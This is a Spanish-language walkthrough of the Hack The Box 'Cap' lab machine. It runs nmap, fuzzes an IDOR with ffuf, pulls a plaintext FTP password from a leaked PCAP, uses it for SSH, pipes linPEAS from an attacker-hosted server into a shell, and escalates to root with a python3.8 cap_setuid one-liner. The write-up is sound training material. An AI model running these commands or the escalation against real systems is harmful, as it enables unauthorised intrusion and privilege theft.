HTB Cap
Cap is an easy difficulty Linux machine running an HTTP server that performs administrative functions including performing network captures. Improper controls result in Insecure Direct Object Reference (IDOR) giving access to another user's capture. The capture contains plaintext credentials and can be used to gain foothold. A Linux capability is then leveraged to escalate to root.
How many TCP ports are open?
Ejecutar un reconocimiento con nmap. Vamos a utilizar los flags:
- *sS: rompemos el protocolo SYN/ACK para ganar agilidad.
- *T4: Escaneo agresivo. Rápiod y fiable en redes de banda ancha.
nmap -sS -T4 10.129.6.43
Nmap scan report for 10.129.6.43
Host is up (0.048s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Se han detectado 3 puertos abiertos.
After running a “Security Snapshot”, the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?
Accedemos a la aplicación web detrás de la IP y en la sección security snapshot observamos que en la URL aparece data

data
Are you able to get to other users’ scans?
La primera pista que podemos investigar está en la propia URL. http://10.129.6.43/data/1 Después de data aparece un índice que podemos intentar fuzzear con ffuf.
- -u para marcar el objetivo
- -w worlist (realmente generamos una secuencia de 0 a 100)
ffuf -u http://10.129.6.43/data/FUZZ -w <(seq 0 100)
Del listado obtenido tenemos que observar las líneas con status 200
0 Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 68ms
Vemos que el índice 0 devuelve status 200
Probamos a descargar el archivo y efectivamente nos permite descargar un archivo PCAP

Abrimos el archivo y analizando brevemente los paquetes vemos que el Nº42
42 5.432387 192.168.196.16 192.168.196.1 FTP 79 Response: 230 Login successful.
Haciendo click derecho y follow TCP Stream podemos ver en texto plano la contraseña.

We’ve managed to collect nathan’s FTP password. On what other service does this password work?
Como observamos en el nmap el servicio SSH está abierto, con lo cual podemos probar estos credenciales contra él.
ssh nathan@10.129.6.43
Probamos con la contraseña: Buck3tH4TF0RM3! y estamos dentro.

What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?
Para este apartado vamos a usar linPEAS.
Para ello, como no tenemos conexion al exterior desde la máquina y tenemos que descargar la herramienta desde github, vamos a levantar un servidor Python en nuestra máquina atacante para poder transferir archivos.
Máquina atacante
python3 -m http.server 8000
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
Sacamos la IP de nuestro equipo
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
Máquina objetivo
curl -s http://10.10.15.20:8000/linpeas.sh | sh
Si no nos deja por permisos nos los damos
chmod +x linpeas.sh
Volvemos a intentar la ejecución
./linpeas.sh
Analizando la respuesta de linpeas vemos que hay un archivo con capacidades

1. Explicación técnica
Tradicionalmente, en Linux, o eras un usuario normal o eras root. El bit SUID era “todo o nada”. Las Capabilities nacieron para aplicar el Principio de Menor Privilegio: permiten que un programa realice tareas específicas de administrador sin darle el control total del sistema.
Análisis de la línea encontrada:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
| Elemento | Significado Técnico |
|---|---|
/usr/bin/python3.8 | El intérprete de Python tiene los privilegios pegados directamente a su archivo. |
cap_setuid | La capacidad de manipular los UID (User IDs). Permite al proceso cambiar su identidad a la de cualquier otro usuario (incluyendo root). |
cap_net_bind_service | Permite al proceso escuchar en puertos “privilegiados” (inferiores al 1024, como el 80 o 443). |
+eip | Indica que estas capacidades están activas de forma Efectiva, se Iheredan a procesos hijos y están en el conjunto Permitido. |
Para abusar de esta capability en concreto, vamos a aprovecharnos de que Python tiene la potestad legal (gracias a cap_setuid) de cambiar su identidad a nivel de Kernel. |
Como el ID del usuario root siempre es 0, el objetivo es forzar a Python a que se asigne ese ID y nos entregue una terminal.
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Y tenemos la flag final!
